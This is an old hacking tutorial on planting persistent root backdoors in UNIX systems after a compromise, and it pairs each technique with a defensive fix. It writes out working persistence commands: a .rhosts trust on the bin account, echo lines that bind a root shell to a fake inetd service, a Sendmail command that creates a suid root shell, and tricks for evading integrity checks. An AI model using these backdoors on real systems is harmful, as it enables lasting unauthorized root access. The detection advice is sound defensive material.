Setting up UNIX Trapdoors
by Nathan Dorfman
This article is intended for the hacker to set up hidden ways to enter the system and gain root privileges over and over, or for the system administrator who wants to find cleverly hidden backdoors.
In any case, send comments to nathan@senate.org (not .gov!). Remember, you must already have root to set these up; they will allow you to enter the system and/or gain root again later.
After breaking root on a system, your first thought should be how to hide a trapdoor so you can get into the system again. The simplest way is an .rhosts file. Including them in real users' home directories is not safe, as there is a high risk of discovery. However, consider this account:
bin:*:3:7:Binaries Commands and Source,,,:/:/nonexistentThis account is one of the accounts used internally by UNIX systems.
Particularly, bin owns most of the files in /bin, /usr/bin, and other locations. The * in his password field means that this account can never be logged in as; because a * is never in the result of a crypt(), it can never be matched by a real password.
However, an .rhosts file in his home directory (/ in this case, often /bin) that contains a hostname or numeric address will allow anyone from that machine to:
$ rlogin -l bin victim.0wned.netand log in without a password. The solution to this kind of backdoor is to have your daily/nightly security check scan for .rhosts files that have been modified since the last scan (i.e. in the last 24 hours or however often you scan).
Make it put special warnings on such files that are outside the $HOME subtrees, since only special accounts have such homes and should never ever ever have .rhosts files of any kind. Note that this particular bin entry has no shell.
Most implementations will not let you log in without an existing shell. Some older ones will give you /bin/sh. If you change /nonexistent to /bin/sh or some variant, a sysadmin will probably be alerted when he sees an internal account having a shell. A better idea would be to have /nonexistent linked to /bin/sh. The solution for this is to make your security check make sure that shells of never-login accounts are set to a certain string ("/nonexistent" is good) and then to check to make sure that the string doesn't exist.
Another way is the in.rootd method. I don't know if anyone has ever heard of it before but I tried it once and found it to be extremely successful. It basically binds a program that puts holes in the system to an inetd port:
# echo "nsp 2600/tcp # Network Security Protocol" >> /etc/services # echo "nsp stream tcp nowait root /bin/sh sh /tmp/hax0r" >> /etc/inetd.conf # echo "echo example.com > ~root/.rhosts" > /tmp/hax0rExecuting these three lines as root will greatly compromise the security of the system, yet not at first glance. What happens here? The first line defines that the NSP protocol is present on TCP port 2600.
You'd want to choose a less suspicious port, yet one that's not in use. The "Network Security Protocol" is there because every service must have a name - this is enough for many dumb administrators.
The second line says that when someone connects to the NSP port (defined as 2600 in /etc/services) to execute /bin/sh as root. However, running an interactive session won't work. The shell will start up and not respond to any commands normally; my guess is that this is because environment variables are usually set by /bin/login and not set this way.
However this form just tells it to execute the commands in /tmp/hax0r (you will want to hide it better). This will write example.com (use your host here) into root's .rhosts file.
The smart sysadmin will actually modify rlogind so that it will ignore root's .rhosts file; in this case set it to some other account that you know exists, such as bin, or an ordinary user.
Now you just need to Telnet to port 2600 on your victim host. The connection will be closed immediately, as the command /bin/sh /tmp/hax0r takes less than a second to execute. Once this is done you can rlogin -l root victim.com, or whatever user you chose.
Important: Remember to remove the .rhosts file as soon as you log in.
You may think that it is a good idea to write a separate daemon that runs as a separate process, not from inetd, in order to avoid the suspicious entries in /etc/services and /etc/inetd.conf. However, suspicious ps/top entries can be even worse. A sneakier attack is to overwrite some unused service instead of creating a fake one - such as X if the system does not use it.
The solution to this attack can be a complicated one.
In short, the "r" utilities are generally more trouble than they are worth; if you have telnetd installed it is a good idea to remove rlogind and rshd thus removing the risks associated with .rhosts files (you can also modify them to ignore these files).
Another solution is to back up /etc/inetd.conf and /etc/services (or even the entire /etc tree) together with /etc/passwd.
On my system, I have these files automatically signed with a special PGP key allocated for my network. Each night the security checker will check the signature on the backup file - if it is invalid, the file has been tampered with; this generates a fatal warning and the system pages me, then goes into single-user mode.
If the signature checks, it then reports any differences between the backup and the original. Remember though that this can be expanded if .rhosts files have no effect on a system. inetd will execute the "services" as any user on the system; this will allow someone to write a program that replaces a user's encrypted password with nothing (direct root logins are usually disabled).
It should also save the old string into a temporary file so that the malicious user can reinstate it back into the passwd file, causing no differences unless the check is run during the 20 seconds or less when this exploit is occurring. Remember that this doesn't have to be suid root, since inetd will run it as root with the given entry in its configuration file.
Once you've set up such a backdoor, you'd want to gain root quickly and easily. The best way is to install trapdoors into something that runs as root. Creating an suid shell in a hidden directory is not good enough - most security checkers will list any non-registered suid binaries.
A better idea would be to modify a program already running suid, such as xterm or splitvt, so that a rootshell option or something similar will execv("/bin/sh", "sh", NULL); the solution to this is to record sizes of all suid files on the system and store them all in a file that is verified with signatures like passwd and inetd.conf/services.
An even better way is to put such traps into daemons running as root but not suid - such as Sendmail.
Example, modify Sendmail to respond to a "secret" command:
Trying 204.141.125.38... Connected to limbo.senate.org. Escape character is '^]'. 220 limbo.senate.org ESMTP Sendmail 8.8.5/8.8.5; ... snip ... 31337_EXEC /bin/cp /bin/sh /tmp/elite Done ... master! 31337_EXEC /bin/chmod 4755 /tmp/elite Done ... master!This is just another form of the in.rootd exploit above. You can switch them around too, modify Sendmail to let you in and inetd to create a root shell.
The way to fix this problem is to record sizes of important system daemons together with suid sizes.